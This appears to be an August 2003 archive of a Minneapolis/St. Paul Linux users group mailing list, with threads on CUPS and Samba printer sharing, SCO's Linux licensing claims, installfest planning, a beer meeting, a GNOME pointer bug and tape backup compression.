<288FAF5565A1A74EA5E35C39E7EE1D420A1BDA53@mail.temgweb.com> If you have CUPS running, you can plug in something similar to the following to get it to work using IPP: http://192.168.1.2:631/printers/superHP4500InkjetHog Obviously you'll have to change the IP and the name of the printer. Typically, you would use: ipp://192.168.1.2/printers/superHP4500InkjetHog But windows doesn't understand ipp://, so you have to use http://. I have it working on Win2k and XP. Also, when you configure CUPS and put in the name and description of the printer, don't use any spaces at all. There's apparently a bug with windows where if there is a space in the description, it chokes. > -----Original Message----- > From: Andy Zbikowski (Zibby) [mailto:zibby+tclug@ringworld.org] > Sent: Thursday, August 07, 2003 12:57 PM > To: TCLUG-list > Subject: Re: [TCLUG] linux printing > > > CUPS is hands down the way to go. The CUPS http port is actually 631. > > If you're hooking the printer up directly to the Linux server > (via printer > or usb port) you'll want to choose that option when you add > your printer. > If the printer is going to be on your Netgear printserver, > you'll want to > use a LPD/LPR Host or Printer. Device URI: > lpd://hostname/queue, which for > a Netgear printserver will be more like lpd://192.168.1.30/p0 > (If I recall > correctly, a netgear print server names it's queues p0, p1, > etc. unless > you change it. Use the software Netgear provided to see your > printservers > configuration) > > Once you're past that, pick your drivers etc. Print a test > page and cross > your fingers. > > Samba can be a bit trickier, but it isn't hard. First you'll > need to have > a printcap file. For cups, you're printcap is dead simple: > /etc/printcap: > > Printer1: > Printer2: > Printer3: > Printer4: > > Some people (like me) like to have their printcap called > /etc/printcap.cups, and sym link it to /etc/printcap. > > For Samba, I'm going to assume that you have it configured > and working, > I'm I'm just going to spew out lines you'll need to add. > Commented lines > are optional. > > [global] > # printer driver file = /etc/samba/printers.def > printcap name = /etc/printcap.cups > printing = cups > > [printers] > # This is just a copy and paste from the default smb.conf incause your > # smb.conf doesn't have it. > comment = All Printers > path = /tmp > create mask = 0700 > printable = Yes > browsable = No > > [Printer1] > path = /tmp > read only = No > create mask = 0700 > guest ok = Yes > printable = Yes > # You need to set your printer name only if the name you share your > # printer as is different from the name you gave it in your > CUPS setup. > #printer name = Printer1 > # These commands are optional. If you don't specify the commands, > # samba uses these defaults. > #print command = lpr -r -P'%p' %s > #lpq command = lpq -P'%p' > #lprm command = lprm -P'%p' %j > # If you want to server the printer drivers to windows clients, you'll > # need these lines, a share called printer$, and you'll have > to do some > # more work. > #printer driver = Name Of Windows Printer Driver > #printer driver location = \\%h\printer$ > > #[printer$] > # path = /path/to/windows/drivers > > Restart samba and you're up and printing. If you installed > SWAT (Samba Web > Administration Tool) you can use that to easily setup samba and skip > editing the config file. To access SWAT, try http://linux-server:901/ > > The commented lines aren't needed, but you'll have to pick a > driver every > time you install a printer. To avoid that, uncomment the > printer driver > option and type in the exact name of the printer driver. As long that > printer driver is part of Windows, that should be enough. > Just make sure > you get the name exactly as it's listed (to get the name, > it's easiest to > install the printer on a windows machine with the driver you > want to use > then check the name of the driver) > > printer driver = HP Color LaserJet 5/5M PS > > If the driver for your printer isn't included in Windows, you > can serve > the driver off the samba machine. I've only done this a > couple times, so > I'm not too helpful. But I can try... > > First, you'll need to find the inf file that contains printer > informaiton. > In Windows XP, it's c:\windows\system32\inf\ntprint.inf. > Linux likes to > see this as a binary file, so you may need to open the file > in notepad, > and copy and paste it into vim or something. Anyway... > > Once you have the inf file on the Linux machine, use the > make_printerdef > command to make a samba printer definition. > > make_printerdef ntprint.inf "HP Color LaserJet 5/5M PS" > > Now this should result in the creation of a printers.def file > that you can > put into /etc/samba (Uncomment printer driver file under > [global] and edit > to suit) If you look at the printers.def file it should tell you the > files(s) you need to copy to your linux server. In the case of my HP > printer, I just need a file called HPCLJ5V2.PPD. You put the > driver files > in the path you specified for the printer$ share, and you > should be off > and running. > > I don't have any official documentation to point you to. This is all > cobbled together from my notes. I'm sure that all this is actually > documented now if you look hard enough. :) > > > Andrew S. Zbikowski | http://www.ringworld.org > A password is like your underwear; Change it > frequently, don't share it with others, and > don't ask to borrow someone else's. > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kremer at ringworld.org Thu Aug 7 14:35:25 2003 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <000701c35c45$a8b07020$0436a8c0@Kurama> Message-ID: <4AEF6621-C90E-11D7-9288-000A957FC086@ringworld.org> That is assuming that money could make me WANT to use Windows. Personally, I prefer other operating systems regardless of cost. Also, Dan mentioned entrapment because of SCO's refusal to reveal which code is stolen. I believe that another article someone posted hit the nail on the head. It is extortion based on fraud. The other thing that I wonder about is how one determines which linux computers or embedded devices are using stolen code. Since the kernel is modular, it is quite possible that many computers or devices do not use (or even contain) the portion(s) of the kernel that SCO claims is stolen, as long as they don't have random kernel sources lying around, right? But of course they don't mention that. They just say that it's $32 across the board for embedded, $199 for a single CPU license, etc. What a load of BS. On Wednesday, August 6, 2003, at 01:07 PM, Joseph wrote: > > Another interesting item on the web site is the IP license cost. You > might as well use windows, the single user desktop license cost $199 > -- Justin Kremer _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From veldy at veldy.net Thu Aug 7 14:52:44 2003 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] SCO and Linux References: <4AEF6621-C90E-11D7-9288-000A957FC086@ringworld.org> Message-ID: <033701c35d1d$78fe43b0$d037630a@dh.com> Since it is new to 2.4 kernels, I suspect it is somewhere in what changed between it and previous versions. My initial guess is VM code. In that case, everybody has it who uses 2.4 kernels or newer. Probably some algorithm they patented. Who knows, they are still complete losers. Actually, SCO is worse than Microsoft when it comes to questionable business practices. Tom Veldhouse ----- Original Message ----- From: "Justin Kremer" To: Sent: Thursday, August 07, 2003 2:35 PM Subject: Re: [TCLUG] SCO and Linux > That is assuming that money could make me WANT to use Windows. > Personally, I prefer other operating systems regardless of cost. > Also, Dan mentioned entrapment because of SCO's refusal to reveal which > code is stolen. I believe that another article someone posted hit the > nail on the head. It is extortion based on fraud. > The other thing that I wonder about is how one determines which linux > computers or embedded devices are using stolen code. Since the kernel > is modular, it is quite possible that many computers or devices do not > use (or even contain) the portion(s) of the kernel that SCO claims is > stolen, as long as they don't have random kernel sources lying around, > right? But of course they don't mention that. They just say that it's > $32 across the board for embedded, $199 for a single CPU license, etc. > What a load of BS. > > On Wednesday, August 6, 2003, at 01:07 PM, Joseph wrote: > > > > Another interesting item on the web site is the IP license cost. You > > might as well use windows, the single user desktop license cost $199 > > > -- > Justin Kremer > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kent at structural-wood.com Thu Aug 7 15:32:56 2003 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] SCO and Linux References: <4AEF6621-C90E-11D7-9288-000A957FC086@ringworld.org> <033701c35d1d$78fe43b0$d037630a@dh.com> Message-ID: <3F32B778.9020109@structural-wood.com> I have to say it is an interesting twist. I think the premise that SCO is operating on is that open source has weak (or ineffectual) ownership, and that anyone brazen enough can step in and claim ownership and licensing revenues. Thomas T. Veldhouse wrote: > Since it is new to 2.4 kernels, I suspect it is somewhere in what changed > between it and previous versions. My initial guess is VM code. In that > case, everybody has it who uses 2.4 kernels or newer. Probably some > algorithm they patented. Who knows, they are still complete losers. > Actually, SCO is worse than Microsoft when it comes to questionable business > practices. > > Tom Veldhouse > > ----- Original Message ----- > From: "Justin Kremer" > To: > Sent: Thursday, August 07, 2003 2:35 PM > Subject: Re: [TCLUG] SCO and Linux > > > >>That is assuming that money could make me WANT to use Windows. >>Personally, I prefer other operating systems regardless of cost. >>Also, Dan mentioned entrapment because of SCO's refusal to reveal which >>code is stolen. I believe that another article someone posted hit the >>nail on the head. It is extortion based on fraud. >>The other thing that I wonder about is how one determines which linux >>computers or embedded devices are using stolen code. Since the kernel >>is modular, it is quite possible that many computers or devices do not >>use (or even contain) the portion(s) of the kernel that SCO claims is >>stolen, as long as they don't have random kernel sources lying around, >>right? But of course they don't mention that. They just say that it's >>$32 across the board for embedded, $199 for a single CPU license, etc. >>What a load of BS. >> >>On Wednesday, August 6, 2003, at 01:07 PM, Joseph wrote: >> >>>Another interesting item on the web site is the IP license cost. You >>>might as well use windows, the single user desktop license cost $199 >>> >> >>-- >>Justin Kremer >> _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Fri Aug 8 00:57:31 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:09 2005 Subject: [TCLUG] Next Installfest Message-ID: <1060322251.db183940kcbnac@myrealbox.com> I know at the July installfest I heard ideas for another one in September, at a Toro place. What's the status on that? Say, we're gonna need network backbone stuff, right? *Jumps up and down, raising hands, shouting* I've got the stuff! I have, currently, in my possession: 9 Bay Networks Chassis 5000 (6 new, 3 used) They are loaded...gigabit fiber and ethernet, 10 and 10/100...total, like 500+ 10/100 ports. They are for sale, if anybody's interested, contact me outside the mailing list. I'm looking to sell them, so I make no guarantees I'll have them come installfest time, but I will probably be picking up more. Also, if anybody's looking for any type of networking hardware, let me know. I have a source for much used hardware, both in computers and networking. Printers too. Keith Bachman This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Fri Aug 8 01:28:31 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Equptment - Hijack Next Installfest In-Reply-To: <1060322251.db183940kcbnac@myrealbox.com> References: <1060322251.db183940kcbnac@myrealbox.com> Message-ID: <1060324111.19507.345.camel@lotsa> On Fri, 2003-08-08 at 00:57, K B wrote: > Also, if anybody's looking for any type of networking hardware, let me > know. I have a source for much used hardware, both in computers and > networking. Printers too. Do you ever run across and blade chassis or servers? I'm liking the looks of the IBM stuff. Has anyone used these? http://www-1.ibm.com/servers/eserver/bladecenter/ -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joel at joelschneider.net Fri Aug 8 02:26:42 2003 From: joel at joelschneider.net (Joel Schneider) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] SCO and Linux In-Reply-To: <001401c35c12$35051c80$6501a8c0@isd.net>; from smac@visi.com on Wed, Aug 06, 2003 at 06:59:36AM -0500 References: <001401c35c12$35051c80$6501a8c0@isd.net> Message-ID: <20030808022642.A4260@joelschneider.net> Here's a related story from Slashdot last week that I thought was interesting: http://yro.slashdot.org/article.pl?sid=03/08/01/1245201 It talks about an OSDL position paper on SCO and linux that was written by a leading legal expert on copyright law. -- Joel Schneider joel@joelschneider.net Linux makes computing fun again. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bruce.broecker at toro.com Fri Aug 8 08:37:40 2003 From: bruce.broecker at toro.com (Bruce Broecker) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Next Installfest Message-ID: I was waiting to hear if there was demand before I approached our facilities coordinator for a date. So, can I assume that there is demand for this? Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> kcbnac@myrealbox.com 08/08/03 12:57AM >>> I know at the July installfest I heard ideas for another one in September, at a Toro place. What's the status on that? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 8 09:07:54 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Beer Meeting tonight! Message-ID: Woohoo! ----- snip ----- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 8, 2003 6pm - 8pm Where: Upstairs at McGovern's 225 W 7th St St. Paul, MN Details: Back to an old stand-by for this week! A trusted locale with good food, beer, and atmosphere. Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. ----- snip ----- There's free parking half a block away. More information available at http://beer.tclug.org -- now with historical data! :) Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 8 09:07:54 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting tonight! Message-ID: Woohoo! ----- snip ----- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 8, 2003 6pm - 8pm Where: Upstairs at McGovern's 225 W 7th St St. Paul, MN Details: Back to an old stand-by for this week! A trusted locale with good food, beer, and atmosphere. Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. ----- snip ----- There's free parking half a block away. More information available at http://beer.tclug.org -- now with historical data! :) Jima _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kremer at ringworld.org Fri Aug 8 09:22:19 2003 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Next Installfest In-Reply-To: Message-ID: Heck yeah! I'd really like to attend an installfest, if there was ever one scheduled for a day that I don't have prior commitments. I guess I'm just too busy. On Friday, August 8, 2003, at 08:37 AM, Bruce Broecker wrote: > I was waiting to hear if there was demand before I approached our > facilities > coordinator for a date. > > So, can I assume that there is demand for this? > > Bruce > > Bruce Broecker > Network Comm Supervisor > The Toro Company > > >>>> kcbnac@myrealbox.com 08/08/03 12:57AM >>> > I know at the July installfest I heard ideas for another one in > September, at a Toro place. What's the status on that? > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Justin Kremer "It is my opinion that downloading copywritten material, is the same as walking into a store and stealing a pair of pants. ... Steal my pants? I'll shoot you in the f---en back." - Josh on www.typeonegative.net _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From revividus at cfaith.com Fri Aug 8 11:30:19 2003 From: revividus at cfaith.com (Phil Crissman) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Next Installfest In-Reply-To: References: Message-ID: <3F33D01B.9030900@cfaith.com> I will attend, if I can. I've done almost entirely Redhat installs, and I'd like to try a Debian or gentoo in the free space on my hard drive.... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Fri Aug 8 00:52:13 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308080552.h785qDN25357@crusader.real-time.com> A new TCLUG classified ad at was placed Fri Aug 8 00:52:13 2003. Name: Keith Bachman Category: computersell Subject: Bay Networks Chassis 5000 Ad: Several Bay Networks Chassis 5000 units availible...3 used, 6 new. Loaded with various hardware, from gigabit fiber optics to 10 and 10/100 LAN connections. Email or call for more info. To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From revividus at cfaith.com Fri Aug 8 11:00:02 2003 From: revividus at cfaith.com (Phil Crissman) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Gnome pointer missing Message-ID: <3F33C902.60101@cfaith.com> This may be a bug, but I have a problem with my mouse pointer `disappearing' whevever the screen refreshes. Just in case someone has an idea or a solution, here's what I have: AthlonXP 2200+ on an ASUS A7N266 mobo, 512MB RAM, old Sony monitor (es100, I think), integrated nvidia GeForce2, IBM PS/2 Optical wheelmouse (same behavior found with a generic two-button and with a MS Intellimouse). Environment is: RH9, Ximian Desktop 2. (Same behavior with the default Gnome desktop). Here's the behavior: If I use an image for the background, the mouse disappears right after logging in, or whenever I change the background. This is helped slightly if I choose the `tile' option; then the mouse pointer disappears less frequently, but it still does so (for example, running Mozilla full-screen, close it, pointer disappears). I also will get a half-disappeared pointer while browsing, when clicking on a link; it's as though the link is being redrawn over-top of the pointer image, and the pointer is not redrawn afterward. To make the pointer reappear, I usually have to somehow open some type of dialog box or application, and wave the pointer until it passes over the edge of the window or a button or some other widget; I'm guessing that when the mouse does this, something explicitly tells Gnome or Nautilus (or whatever is redrawing the screen-image) to refresh the pointer. Like I said, this may be more of an actual bug in gnome or nautilus, though I have never experienced it when installing on my old PC. It's definitely annoying. I'll probably talk to some people in #bugs or #gnome on irc.gnome.org, and if they help me solve it, I'll certainly post it here. Any help is appreciated; Thanks, Phil _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Fri Aug 8 12:04:32 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] winbind + ftp Message-ID: I am adding some linux boxes to a domain, and was supprised at how well winbind works for authentication. The only problem I have is getting proftpd to use pam with winbind. This is very much a stock install- redhat 7.3 with the redhat proftpd packages, and samba rpm's from samba.org. As near as I can tell, it looks like proftpd is ignoring pam, even when I tell it to use it. Any ideas? Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bradyh at bitstream.net Fri Aug 8 12:28:13 2003 From: bradyh at bitstream.net (bradyh@bitstream.net) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Backup compression ratios Message-ID: <1060363693.3f33ddad56868@mail.bitstream.net> I setup a backup using Arkeia and a Sony Fantom that says it's getting compression ratios of 1.2:1 but the same drive using Retrospect on the Macintosh says it's getting almost 2:1 ratios. Can anyone comment on what they've gotten in the past as far as compression ratios? Also which is better, hardware or software compression? Thanks, Brady _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bradyh at bitstream.net Fri Aug 8 12:36:29 2003 From: bradyh at bitstream.net (bradyh@bitstream.net) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Gnome pointer missing In-Reply-To: <3F33C902.60101@cfaith.com> References: <3F33C902.60101@cfaith.com> Message-ID: <1060364189.3f33df9d9f03b@mail.bitstream.net> I've been using Ximian Desktop 2 on a few different machines and haven't seen anything like that. I did run into a problem with Mozilla however not allowing me to download files which was fixed by removing and reinstalling Mozilla. Perhaps a reinstall of Nautilus and/or Metacity would help. Brady > This may be a bug, but I have a problem with my mouse pointer > `disappearing' whevever the screen refreshes. > > Just in case someone has an idea or a solution, here's what I have: > AthlonXP 2200+ on an ASUS A7N266 mobo, 512MB RAM, old Sony monitor > (es100, I think), integrated nvidia GeForce2, IBM PS/2 Optical > wheelmouse (same behavior found with a generic two-button and with a MS > Intellimouse). > > Environment is: RH9, Ximian Desktop 2. (Same behavior with the > default Gnome desktop). > Here's the behavior: If I use an image for the background, the mouse > disappears right after logging in, or whenever I change the background. > This is helped slightly if I choose the `tile' option; then the mouse > pointer disappears less frequently, but it still does so (for example, > running Mozilla full-screen, close it, pointer disappears). I also will > get a half-disappeared pointer while browsing, when clicking on a link; > it's as though the link is being redrawn over-top of the pointer image, > and the pointer is not redrawn afterward. > > To make the pointer reappear, I usually have to somehow open some > type of dialog box or application, and wave the pointer until it passes > over the edge of the window or a button or some other widget; I'm > guessing that when the mouse does this, something explicitly tells Gnome > or Nautilus (or whatever is redrawing the screen-image) to refresh the > pointer. > > Like I said, this may be more of an actual bug in gnome or nautilus, > though I have never experienced it when installing on my old PC. It's > definitely annoying. I'll probably talk to some people in #bugs or > #gnome on irc.gnome.org, and if they help me solve it, I'll certainly > post it here. > > Any help is appreciated; Thanks, > Phil > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at myrealbox.com Fri Aug 8 12:58:36 2003 From: kcbnac at myrealbox.com (K B) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Next Installfest Message-ID: <1060365516.c21d18c0kcbnac@myrealbox.com> Yes! Depending on the date, as well, I may/may not have these (or other) switches/racks availible for use. Keith -----Original Message----- From: "Bruce Broecker" To: , Date: Fri, 08 Aug 2003 08:37:40 -0500 Subject: Re: [TCLUG] Next Installfest I was waiting to hear if there was demand before I approached our facilities coordinator for a date. So, can I assume that there is demand for this? Bruce Bruce Broecker Network Comm Supervisor The Toro Company >>> kcbnac@myrealbox.com 08/08/03 12:57AM >>> I know at the July installfest I heard ideas for another one in September, at a Toro place. What's the status on that? This is not about Napster or DVDs. It's about your Freedom. http://www.anti-dmca.org _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 8 14:48:57 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Backup compression ratios In-Reply-To: <1060363693.3f33ddad56868@mail.bitstream.net> Message-ID: Were you using hardware or software compression? "Better" is a matter of taste. I believe hardware compression is faster (or less CPU load), but doesn't give you as good a ratio as software can (hardware typically has a much smaller buffer for storing the data for compression). We use only software compression here, the logic being that if we ever need to recover the data, it likely won't be recovered from the same physical hardware that it was written on, so we didn't want to run into a situation where a different unit couldn't decompress the data. I don't know if this is a legitimate concern, but we're rather paranoid about our backups. Maybe someone should develop lossy compression specifically for tape backups - I bet you could get like a 10:1 ratio that way! Since tapes are so expensive and all :) On Fri, 8 Aug 2003 bradyh@bitstream.net wrote: > I setup a backup using Arkeia and a Sony Fantom that says it's getting > compression ratios of 1.2:1 but the same drive using Retrospect on the Macintosh > says it's getting almost 2:1 ratios. > > Can anyone comment on what they've gotten in the past as far as compression > ratios? Also which is better, hardware or software compression? > > Thanks, > Brady > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chrome at real-time.com Fri Aug 8 15:19:31 2003 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Backup compression ratios In-Reply-To: ; from adamm@sihope.com on Fri, Aug 08, 2003 at 02:48:57PM -0500 References: <1060363693.3f33ddad56868@mail.bitstream.net> Message-ID: <20030808151931.A24996@real-time.com> > Maybe someone should develop lossy compression specifically for tape > backups - I bet you could get like a 10:1 ratio that way! Since tapes are > so expensive and all :) just use it on people's spam folders. ought to be very useful for that. :) Carl Soderstrom. -- Systems Administrator Real-Time Enterprises www.real-time.com _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From natecars at real-time.com Fri Aug 8 15:23:52 2003 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Backup compression ratios In-Reply-To: <20030808151931.A24996@real-time.com> Message-ID: On Fri, 8 Aug 2003, Carl Wilhelm Soderstrom wrote: > just use it on people's spam folders. ought to be very useful for > that. :) why not home directories? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 8 15:56:15 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:10 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <1060322251.db183940kcbnac@myrealbox.com> References: <1060322251.db183940kcbnac@myrealbox.com> Message-ID: <3F340E6F.3030901@eworld3.net> I have been working on a "Install Fest How-To" since I did not find anything valuable on the net. If you find something let me know by replying to this post. The How-To is in 3 main sections: 1. Before the fest 2. During the fest 3. After the fest. I am almost finished with the first section and have notes for the other sections. Instead of waiting for the whole doc to be completed I will post the first section today, in a new thread. I am no install fest expert but I did help organize the last fest and thought it would be a good idea to get a document started so we could continue to improve the experience for everyone. One thing that we realized is that having a good location is key and having several good locations to rotate through would be a very good thing. I think if we had usable northern, southern, downtown Minneapolis and downtown Saint Paul locations then we would be able to hold install fests on a regular basis and hopefully not wear our our welcome. There are some criteria that should/must be met for a location to be usable. You will see that in the How-To. Lone Oak, the site of the last fest, was a good location but we are looking for others. We were thinking about having the next fest at Dunwoody since Malik Bush (mbush@dunwoody.edu), the Director of Computing Programs at Dunwoody has been offering to host a fest since last year and I don't think we should lose the opportunity to have fests at such a central location. As far as I am concerned we should also check out the Toro facility. Just for the record, Joe Hesse (joe.hesse@saintpaul.edu) said he could host *any* *kind* of event for the TCLUG at the Saint Paul Tech College, next to the basilica. I guess that's about it. K B wrote: > I know at the July installfest I heard ideas for another one in September, at a Toro place. What's the status on that? > > Say, we're gonna need network backbone stuff, right? *Jumps up and down, raising hands, shouting* I've got the stuff! > > I have, currently, in my possession: > > 9 Bay Networks Chassis 5000 (6 new, 3 used) > They are loaded...gigabit fiber and ethernet, 10 and 10/100...total, like 500+ 10/100 ports. They are for sale, if anybody's interested, contact me outside the mailing list. > > I'm looking to sell them, so I make no guarantees I'll have them come installfest time, but I will probably be picking up more. Also, if anybody's looking for any type of networking hardware, let me know. I have a source for much used hardware, both in computers and networking. Printers too. > > Keith Bachman > > This is not about Napster or DVDs. It's about your Freedom. > http://www.anti-dmca.org > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jspinti at dartdist.com Fri Aug 8 15:58:11 2003 From: jspinti at dartdist.com (James Spinti) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Backup compression ratios In-Reply-To: References: Message-ID: <200308081558.11637.jspinti@dartdist.com> On Friday 08 August 2003 03:23 pm, Nate Carlson wrote: > On Fri, 8 Aug 2003, Carl Wilhelm Soderstrom wrote: > > just use it on people's spam folders. ought to be very useful for > > that. :) > > why not home directories? Nah, use it on your mp3 directories, so when the RIAA comes looking for it, you can restore from tape :) -- Thanks, James Spinti jspinti at dartdist dot com 952-368-3278 ext 396 fax 952-368-3255 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Fri Aug 8 16:16:19 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:11 2005 Subject: [TCLUG] Next Installfest In-Reply-To: <3F340E6F.3030901@eworld3.net> References: <1060322251.db183940kcbnac@myrealbox.com> <3F340E6F.3030901@eworld3.net> Message-ID: <20030808211619.GA29743@mail.el-swifto.com> On Fri, Aug 08, 2003 at 03:56:15PM -0500, Rick Meyerhoff wrote: > I have been working on a "Install Fest How-To" since I did not find > anything valuable on the net. If you find something let me know by > replying to this post. > http://www.google.com/search?q=linux+installfest+howto Results 1 - 10 of about 2,270. Search took 0.08 